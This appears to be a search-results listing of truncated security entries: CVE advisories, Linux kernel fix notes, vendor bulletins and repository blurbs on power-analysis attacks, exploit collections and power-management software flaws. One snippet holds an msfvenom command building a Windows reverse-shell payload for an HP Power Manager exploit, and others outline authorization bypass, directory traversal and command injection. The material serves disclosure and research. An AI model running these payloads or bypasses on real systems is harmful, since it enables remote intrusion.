CVE-2026-75553

The smartphone application Tohoku Electric Power "Yorisou e Net" , provided by Tohoku Electric Power Company, Incorporated, contains a hard-coded cryptographic key (CWE-321). This vulnerability allows an attacker to retrieve the hard-coded key from the affected product, potentially compromising c...

Overglade-Badges

Overglade Hackathon 徽章 这些是我为新加坡的 overglade hackathon 设计的零功耗 hackathon 徽章！它们由 RP2040 驱动，具有被动 NFC 功能和板载电子墨水屏驱动！ 定制功能 被动 NFC 轻触，随心所欲 电子墨水屏支持，无需电池 20 个 GPIO 引脚引出至排针，便于编程 主动 NFC 模式，可用于更复杂的操作 零功耗，核心功能无需供电 RP2040 SoC，4MB 闪存 酷炫的 PCB 和露铜艺术 PCB 设计 这是一块简单的双层板，每层都有地铜填充。我还对电路板的形状和艺术图案进行了 CAD 设计，确保一切完美对称！ 编程与设...

power_analysis

针对RSA的功耗分析攻击 索引 引言 功耗分析攻击 RSA：简要介绍 RSA示例 实验设备 测量功耗：简要介绍 欧姆定律 基尔霍夫电压定律（KVL） 分压器 分流电阻 功耗测量示例 快速幂 Arduino（Atmega328P）中的快速幂 结果 结论 参考文献 引言 最近，我注意到人们在Arduino上自行实现加密算法，例如Stackoverflow中的这个主题： https://stackoverflow.com/questions/39189065/rsa-encryption-decryption-functions-for-arduino...

uhubctl

uhubctl uhubctl es una utilidad para controlar la alimentación USB por puerto en concentradores USB inteligentes. Un concentrador inteligente se define como aquel que implementa conmutación de alimentación por puerto. La idea original de este código se inspiró en hub-ctrl.c de Niibe Yutaka:...

Exploits

Exploits CVEs originales, PoCs de exploits y avisos de seguridad por @kmkz · boffsec-services.com · @kmkzsecurity 2026 Archivo| Objetivo| Tipo| CVSSv3 ---|---|---|--- CVE-2026-22191-SicuroWeb-ATI-chain.txt| SicuroWeb / Beghelli Sicuro24| Aviso cadena de 3 CVE| 9.3 CVE-2026-22191-POC.py| SicuroWeb...

CVE-2009-3999

CVE-2009-3999 Exploit de HP Power Manager 4.2 Build 7 inspirado por https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 PASO 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x...

power-pwn

Mantenido por: Asegura agentes de IA en todas partes. Descripción general Power Pwn es un conjunto de herramientas de seguridad ofensiva y defensiva para Microsoft 365 Power Platform y los servicios de IA. Características clave, entre otras: 💾 PowerDump : Escaneo integral del tenant y recopilació...

ossem-power-up

OSSEM 一个基于优秀的 OSSEM 项目构建的数据质量评估工具。 目标 回答这个问题：我想开始狩猎 ATT&CK 技术，哪些日志源和事件更合适？ 透明化你的日志源的优势和劣势 提供一种简单的方法来评估你的日志 OSSEM Power-up 概述 Power-up 使用 OSSEM 检测数据模型（DDM）作为其数据质量评估的基础。主要原因是它提供了一种结构化的方式，将 ATT&CK 数据源、通用信息模型实体（CIM）和 数据字典（事件）相互关联起来。 对于那些不熟悉 DDM 结构的人，这里有一个示例： ATT&CK 数据源| 子数据源| 源数据对象| 关系| 目标数据对象| Event...

EUVD-2026-86110

In the Linux kernel, the following vulnerability has been resolved: spi: spi-qcom-qspi: Fix incomplete error handling in runtime PM The runtime PM functions had incomplete error handling that could leave the system in an inconsistent state. If any operation failed midway through suspend or resume...

CVE-2026-97512

The Linux kernel contains a vulnerability in the spi-qcom-qspi driver due to incomplete error handling in runtime PM functions. If an operation fails during suspend or resume , resources may remain in inconsistent states, potentially causing clock or power imbalances and brownout risks . The fix ...

esp32-cve-2025-27840-power-trace-experiment

esp32-cve-2025-27840-power-trace-experiment Firmware para obtener una traza de potencia del comportamiento del módulo bluetooth en el ESP32 cuando se le envían los comandos hci de bluetooth no documentados CVE-2025-27840. Cuando el ESP32 recibe los comandos, alterna un pin GPIO para disparar la...

Eaton-Intelligent-Power-Manager-Local-File-Inclusion

Eaton-Intelligent-Power-Manager-Local-File-Inclusion Inclusión de archivo local en Eaton Intelligent Power Manager v1.6 permite a un atacante incluir un archivo, lo que puede provocar divulgación de información sensible, denegación de servicio y ejecución de código. CVE-2018-12031 Para explotar l...

power-tracks-research

Investigación de Power Tracks Repositorio de investigación integral para las mecánicas de mercado de "Power Tracks", "Stock Galaxy" y "Warped Prism". Este código contiene las herramientas, canalizaciones y conjuntos de validación utilizados para descubrir y mapear anomalías sistémicas en la...

CVE-2023-28343

CVE-2023-28343 Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） 中文名称：Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） CVSS 评分：9.0 描述 ：Altenergy Power System Control Software 是 Altenergy Power System 公司的一款微型逆变器控制软件。 影响 ：Altenergy Power System...

Powertek Firmware <3.30.30 - Authorization Bypass

Powertek firmware multiple brands before 3.30.30 running Power Distribution Units are vulnerable to authorization bypass in the web interface. To exploit the vulnerability, an attacker must send an HTTP packet to the data retrieval interface /cgi/getparam.cgi with the tmpToken cookie set to an...

Eaton Intelligent Power Manager 1.6 - Directory Traversal

Eaton Intelligent Power Manager v1.6 allows an attacker to include a file via directory traversal, which can lead to sensitive information disclosure, denial of service and code execution. id: CVE-2018-12031 info: name: Eaton Intelligent Power Manager 1.6 - Directory Traversal author: daffainfo...

CVE-2026-93229

In the Linux kernel, the following vulnerability has been resolved: nfsd: add missing read barrier to rpcstatusget dumpit seqcount retry The hand-rolled seqcount-like protocol in nfsdnlrpcstatusgetdumpit is missing a read memory barrier smprmb before its second counter check. The standard kernel...

Security Bulletin: This Power System update is being released to address CVE-2026-19492

Summary Power Systems Firmware is affected by a vulnerability in a hypervisor call interface. An attacker with root access to a guest partition can read a limited amount of hypervisor memory, potentially exposing sensitive data belonging to the hypervisor or other guest partitions hosted on the...

Security Bulletin: This Power System update is being released to address CVE-2026-18870

Summary PowerVM Hypervisor could allow a remote attacker to obtain sensitive information due to an out-of-bounds read. Vulnerability Details CVEID:CVE-2026-18870 DESCRIPTION: PowerVM Hypervisor could allow a remote attacker to obtain sensitive information due to an out-of-bounds read. CWE:CWE-125...

Altenergy Power Control Software C1.2.5 - Remote Command Injection

Altenergy Power Control Software C1.2.5 is susceptible to remote command injection via shell metacharacters in the index.php/management/settimezone parameter, because of settimezone in models/managementmodel.php. An attacker can potentially obtain sensitive information, modify data, and/or execut...